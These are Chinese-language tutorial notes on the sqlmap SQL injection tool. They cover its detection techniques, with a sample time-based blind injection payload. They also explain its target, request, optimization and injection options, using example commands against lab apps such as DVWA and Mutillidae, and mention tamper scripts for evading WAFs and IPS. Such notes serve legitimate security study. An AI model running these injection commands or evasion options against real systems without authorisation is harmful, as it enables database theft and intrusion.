SQLMAP

特点

  • 开源sql注入漏洞监测、利用的工具
  • 检测动态页面中get/post 参数、cookie、http头
  • 数据榨取
  • 文件系统访问
  • 操作系统命令执行
  • 引擎强大、特性丰富
  • XSS漏洞检测

五种漏洞监测技术

  • 基于布尔的盲注检测
  • 基于时间的盲注检测
    'and (select * from (select(sleep(20)))a)--+
  • 基于错误的检测
  • 基于union联合查询的检测
    适用于通过for循环直接输出联合查询结果,否则只显示第一项结果
  • 基于堆叠查询的检测
    ;堆叠多个查询语句
    适用于非select的数据修改、删除的操作

SQLMAP参数介绍

  • TARGET:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    Target:
    At least one of these options has to be provided to define the
    target(s)

    -d DIRECT Connection string for direct database connection
    -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
    -x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
    -m BULKFILE Scan multiple targets given in a textual file
    -r REQUESTFILE Load HTTP request from a file
    -g GOOGLEDORK Process Google dork results as target URLs
    -c CONFIGFILE Load options from a configuration INI file

Get方法

1
2
3
4
5
sqlmap -u "http://172.16.242.128/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username -f 
(-p的意思就是只指定一个变量,-f就是查看数据库版本)
--user(就是查看数据库用户)
--dbs(目标数据库有什么库)
--schema(查看元数据库)

Post方法

1
2
3
4
使用http请求文件(brupsuite):sqlmap -r request.txt(使用burpsuite截断代理
并将截断的post中raw标签内的全部内容贴到request.txt文件,
不能有多余的空行,要和burpsuite中看到的一样)
使用brupsuite log文件:sqlmap -l log.txt(在burpsuite的option中开启log

HTTPS

1
sqlmap -u "http://1.1.1.1/a.php?id=1:8843" --force-ssl

扫描配置文件

1
sqlmap -c sqlmap.conf

  • REQUEST:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    Request:
    These options can be used to specify how to connect to the target URL

    --method=METHOD Force usage of given HTTP method (e.g. PUT)
    --data=DATA Data string to be sent through POST
    --param-del=PARA.. Character used for splitting parameter values
    --cookie=COOKIE HTTP Cookie header value
    --cookie-del=COO.. Character used for splitting cookie values
    --load-cookies=L.. File containing cookies in Netscape/wget format
    --drop-set-cookie Ignore Set-Cookie header from response
    --user-agent=AGENT HTTP User-Agent header value
    --random-agent Use randomly selected HTTP User-Agent header value
    --host=HOST HTTP Host header value
    --referer=REFERER HTTP Referer header value
    -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
    --auth-cred=AUTH.. HTTP authentication credentials (name:password)
    --auth-file=AUTH.. HTTP authentication PEM cert/private key file
    --ignore-code=IG.. Ignore HTTP error code (e.g. 401)
    --ignore-proxy Ignore system default proxy settings
    --ignore-redirects Ignore redirection attempts
    --ignore-timeouts Ignore connection timeouts
    --proxy=PROXY Use a proxy to connect to the target URL
    --proxy-cred=PRO.. Proxy authentication credentials (name:password)
    --proxy-file=PRO.. Load proxy list from a file
    --tor Use Tor anonymity network
    --tor-port=TORPORT Set Tor proxy port other than default
    --tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor Check to see if Tor is used properly
    --delay=DELAY Delay in seconds between each HTTP request
    --timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
    --retries=RETRIES Retries when the connection timeouts (default 3)
    --randomize=RPARAM Randomly change value for given parameter(s)
    --safe-url=SAFEURL URL address to visit frequently during testing
    --safe-post=SAFE.. POST data to send to a safe URL
    --safe-req=SAFER.. Load safe HTTP request from a file
    --safe-freq=SAFE.. Test requests between two visits to a given safe URL
    --skip-urlencode Skip URL encoding of payload data
    --csrf-token=CSR.. Parameter used to hold anti-CSRF token
    --csrf-url=CSRFURL URL address to visit to extract anti-CSRF token
    --force-ssl Force usage of SSL/HTTPS
    --hpp Use HTTP parameter pollution method
    --eval=EVALCODE Evaluate provided Python code before the request (e.g.
    "import hashlib;id2=hashlib.md5(id).hexdigest()")

数据端:–data

1
2
get/post 都适用
sqlmap -u "http://1.1.1.1/a.php" --date="user=1&password=1"-f

变量分隔符: –param-del

1
2
http://1.1.1.1/a.php?q=foo;id=1
sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1"--param-del

设置cookie:–cookie

1
2
3
要先登录过网站,然后在浏览器中获得相应的cookie
sqlmap -u "http://172.16.242.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ad58bee7a7c5b3dcd7e26a24e4446e56"
检查cookie中的注入点,则要加上 --level 2(至少大于等于2)

user-agent:

1
2
3
--random-agent:使用这个参数,就会使用/usr/share/sqlmap/txt/user-agents.txt
这个字典来代替默认的user-agent
检查user-agent中的注入点,则要加上--level 3(至少大于等于3

host头:

1
2
--host=""
检查host中的注入点,则要加上--level 55为最高级别)

基于HTTP协议的身份验证

1
2
3
4
Basic
Digest
NTLM
sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass"

–auth-cert / –auth-file

1
2
3
--auth-file="ca.PEM"
含有私钥的PEM 格式证书文件
PEM格式的证书链文件

http(s) 代理

1
2
3
--proxy="http://127.0.0.1:8087"(代理服务器开启后的地址)
--proxy-cred="name:pass" (连接代理需要的身份验证)
--ignore-proxy(忽略系统级代理设置,通常用于扫描本地网络目标)

其他参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
--delay (每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟)
--timeout(请求超时时间,浮点数,默认30s)
--retries(http(s)连接超时重试次数,默认3次)
--randomize(长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名)
例 sqlmap -u "http://1.1.1.1/a.php?id=100" --randomize='id'
(这样的话,每次id就会在100-999随机取,因为长度、类型都与原始值保持一致)
--scope(过滤日志内容,通过正则表达式筛选扫描对象)
例 sqlmap -l burp.log --scope="(www)?\.target\.(com | net | org)"
例 sqlmap -l 2.log --scope="(19)?\.169\.20\.(1 | 10 | 100)"
--safe-url / --safe-freq(检测和盲注阶段会产生大量失败请求,服务端可能会销毁session)
(每发送--safe-freq次注入请求后,发送一次正常请求)
--skip-urlencode(默认Get方法会对传输内容进行编码,某些web服务器不遵守RFC标准编码,使用原始字符提交数据)
--eval(每次请求前执行指定的python代码,每次请求更改或增加新的参数值(时间依赖、其他参数值依赖))
例 sqlmap -u "http://1.1.1.1/a.php?id=1&hash=111111111111111111" --eval=
"import hashlib;hash=hashlib.md5(id).hexdigest()"

  • OPTIMIZATTION:
    1
    2
    3
    4
    5
    6
    7
    8
    Optimization:
    These options can be used to optimize the performance of sqlmap

    -o Turn on all optimization switches
    --predict-output Predict common queries output
    --keep-alive Use persistent HTTP(s) connections
    --null-connection Retrieve page length without actual HTTP response body
    --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)

-o开启下面三个性能呢参数,(除–threads参数)

1
2
3
4
--predict-output(根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率)
(检测版本名,用户名,密码,Privileges,role,数据库名称,表名,列名)
与--threads参数不兼容
统计表:/usr/share/sqlmap/txt/common-outputs.txt

1
2
3
4
--keep-alive
(使用http(s)长连接,性能好)
--proxy参数不兼容
长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
1
2
3
4
--null-connection
之火取相应页面的大小值,而非页面具体内容
通常用于盲注判断 真/假 ,降低网络带宽消耗
--text-only参数不兼容
1
2
3
4
--threads
最大并发线程,盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
默认值为1,建议不要超过10,否则可能影响站点可用性
与--predict-output参数不兼容
  • INJECTION
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    -p (指定扫描的参数,使--level失效)
    -skip(排除指定的扫描参数)
    --dbms="mysql"(指定数据库管理系统版本)
    --os(指定操作系统 linux或window)
    --invalid-bignum / --invalid-logical (通常sqlmap使用负值使参数取值失效 id=13->id=-13
    (bignum使用大数使参数值失效 id=9999999999
    (logical使用布尔判断使取值失效 id=13 AND 18=19
    --no-escape(处于混淆和避免出错的目的,payload中用单引号界定字符串时
    sqlmap使用char()编码逃逸的方法替换字符串)
    --tamper(混淆脚本,用于绕过应用层过滤,IPS,WAF)
    sqlmap -u "http://1.1.1.1/a.php?id=1" --tamper="between.py,randomcase.py"
    具体目录(/usr/share/sqlmap/tamper)

暂时就介绍这么多,sqlmap还有很多参数,可以用命令sqlmap -hh查看